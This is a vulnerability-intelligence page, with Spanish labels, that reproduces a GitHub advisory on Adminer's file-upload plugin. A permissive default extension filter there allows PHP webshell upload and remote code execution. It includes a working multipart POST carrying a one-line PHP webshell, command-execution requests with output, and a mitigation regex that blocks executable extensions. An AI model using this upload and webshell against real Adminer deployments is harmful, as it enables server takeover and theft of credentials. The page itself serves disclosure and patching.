llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · vrana/adminer

GHSA-VCVJ-RWWM-X6G5

AdminerFileUpload Allows PHP File Upload Leading to RCE

Sin parche publicado
Descargar PNG JSON
CVSS
—
low
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición134 dDesde la divulgación, 9 jul 2026, 6:18 a. m.
Detección134 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
9 jul 26
21 nov 26
9 jul 26
12 ago 26
14 sept 26
18 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-VCVJ-RWWM-X6G5 divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

## Summary

The shipped `AdminerFileUpload` plugin (`plugins/file-upload.php`) accepts an uploaded file for any column whose name ends in `_path` and writes it to `uploadPath` while preserving the uploader's original extension. The plugin's only filename filter uses the constructor default `extensions = "[a-zA-Z0-9]+"`, which matches `php`, `phtml`, and `phar`. The filter regex `~(\.($this->extensions))?$~` anchors an optional group at end-of-string, so it never rejects a filename; it only strips the extension when a restrictive allowlist is configured. With the default, an authenticated user, including a low-privilege Adminer Editor end-user who is meant to be limited to data manipulation, can upload a PHP webshell. When `uploadPath` is served by the web server as PHP-executable (the plugin's documented use case, where `displayPath` is the public URL prefix used to display the file), this yields remote code execution as the web-server user.

This is an insecure-default and unrestricted-upload issue (CWE-1188, CWE-434). A restrictive `extensions` value is safe, which confirms the default is the defect.

## Technical detail

### Root cause (source-verified @ 5754b32)

// plugins/file-upload.php:18  — default extensions allow any alphanumeric extension
function __construct($uploadPath = "../static/data/", $displayPath = null, $extensions = "[a-zA-Z0-9]+") {
 
// plugins/file-upload.php:30-43
function processInput($field, $value, $function = "") {
    if (preg_match('~(.*)_path$~', $field["field"], $regs)) {
        $table = ($_GET["edit"] != "" ? $_GET["edit"] : $_GET["select"]);
        $name = $field["field"];
        if ($_FILES["fields"]["error"][$name]
            || !preg_match("~(\\.($this->extensions))?\$~", $_FILES["fields"]["name"][$name], $regs2)) {
            return false;
        }
        $filename = (function_exists('random_bytes') ? bin2hex(random_bytes(8)) : uniqid("", true)) . $regs2[0];
        if (!move_uploaded_file($_FILES["fields"]["tmp_name"][$name],
                $this->uploadPath . Adminer\friendly_url($table) . "/$regs[1]-$filename")) {
            return false;
        }
        return Adminer\q($filename);
    }
}

Two defects compound:

1. The default allowlist `[a-zA-Z0-9]+` matches executable extensions (`php`, `phtml`, `phar`, mixed-case `pHp`). There is no denylist of executable extensions.
2. The filter regex never blocks. `~(\.($ext))?$~` anchors at `$` with the extension group made optional, so `preg_match` always returns 1. `$regs2[0]` holds the captured `.<ext>` verbatim when it matches the allowlist, and is empty otherwise. The stored filename is `bin2hex(random_bytes(8)) . $regs2[0]`, which preserves the attacker's extension (for example `.php`).
`move_uploaded_file()` writes the file to `uploadPath/<friendly_table>/<col>-<rand>.php`. The randomized basename prevents guessing and overwrite but does nothing about executability. `selectVal()` (lines 46-50) then builds the public link from `displayPath`, disclosing the stored path to the attacker.

Adminer core applies no extension or name sanitization here: the plugin reads `$_FILES` directly and does not pass through the core `get_file()` helper, and no other filter exists in the upload path.

### Why existing controls do not apply

- The line-34 extension check is the only filter and, with the default allowlist, explicitly permits `php`. With a restrictive allowlist such as `jpe?g|png|gif`, the same `shell.php` is stored with no extension, which the web server will not execute. This difference is the proof that the default value is the defect.
- The random filename prevents collision and enumeration only.
- The CSRF token is present, but the attacker is the authenticated user performing the upload, so it is not a cross-site issue.

## Proof of concept

### 1. Filter and stored-name logic (source-faithful replication of lines 34 and 38)

uploaded       extensions       accepted  stored-as
----------------------------------------------------------------------
shell.php      [a-zA-Z0-9]+     yes       'RANDOMHEX.php'      <- default => executable
shell.phtml    [a-zA-Z0-9]+     yes       'RANDOMHEX.phtml'
shell.pHp      [a-zA-Z0-9]+     yes       'RANDOMHEX.pHp'
shell.phar     [a-zA-Z0-9]+     yes       'RANDOMHEX.phar'
x.php          jpe?g|png|gif    yes       'RANDOMHEX'          <- restrictive => stripped (safe)
x.jpg          jpe?g|png|gif    yes       'RANDOMHEX.jpg'
noext          [a-zA-Z0-9]+     yes       'RANDOMHEX'

The optional-group filter returns a match for every filename tested (`shell.php`, `anything`, `...`, `a.b.c.php`), confirming it never rejects.

### 2. Live RCE (executed in sandbox)

The stored file produced by `processInput()` for `shell.php` under the default config (named `file-<rand>.php`) was written to a web-served directory and served exactly as a deployment using `displayPath` would expose it:

GET /data/docs/file-f4fc445958c73114.php?c=id
=> uid=0(root) gid=0(root) groups=0(root)
 
GET /data/docs/file-f4fc445958c73114.php?c=whoami;uname%20-a
=> root
=> Linux ... x86_64 GNU/Linux

Arbitrary command execution as the web-server user is confirmed, not theoretical.

### 3. Live trigger (deployment with the plugin and a web-served `uploadPath`)

POST /?edit=docs&where[id]=1 HTTP/1.1
Host: TARGET
Content-Type: multipart/form-data; boundary=X
 
--X
Content-Disposition: form-data; name="fields-file_path"; filename="shell.php"
Content-Type: application/x-php
 
<?php system($_GET["c"]); ?>
--X
Content-Disposition: form-data; name="token"
<csrf-token-from-the-edit-form>
--X--

Then request the disclosed display URL `GET <displayPath>/docs/file-<rand>.php?c=id`.

### Negative control

Constructing the plugin as `new AdminerFileUpload("/uploads/", null, "jpe?g|png|gif")` stores `shell.php` as an extension-less file, which the web server does not execute. This isolates the default `extensions` value as the cause.

## Impact

- Confirmed primitive: authenticated arbitrary file upload with an attacker-chosen executable extension. When `uploadPath` is web-served and executes PHP (the plugin's intended display setup), this is remote code execution as the web-server user.
- Privilege boundary: an Adminer Editor user limited to data manipulation can reach OS command execution, which is a vertical privilege escalation across the application's primary trust boundary.
- Post-exploitation: code execution exposes application secrets, database credentials, cloud metadata or IAM material, and enables lateral movement.

## Suggested mitigation

Default to a safe allowlist (or an executable-extension denylist) independent of the configurable `extensions`, so a misconfiguration cannot enable code execution by default:

- function __construct($uploadPath = "../static/data/", $displayPath = null, $extensions = "[a-zA-Z0-9]+") {
+ function __construct($uploadPath = "../static/data/", $displayPath = null, $extensions = "jpe?g|png|gif|webp|pdf|txt|csv") {

Additionally reject dangerous names explicitly, regardless of the configured allowlist:

$uploaded = $_FILES["fields"]["name"][$name];
if (preg_match('~\.(php\d*|phtml|phar|pht|sh|cgi|pl|py|htaccess)$~i', $uploaded)) {
    return false;
}

Document that `uploadPath` should sit outside the web root, or be served with script execution disabled.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
vrana/adminer≤ 5.4.2
5.4.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistvrana/adminer
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/vrana/adminer/security/advisories/GHSA-vcvj-rwwm-x6g5

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.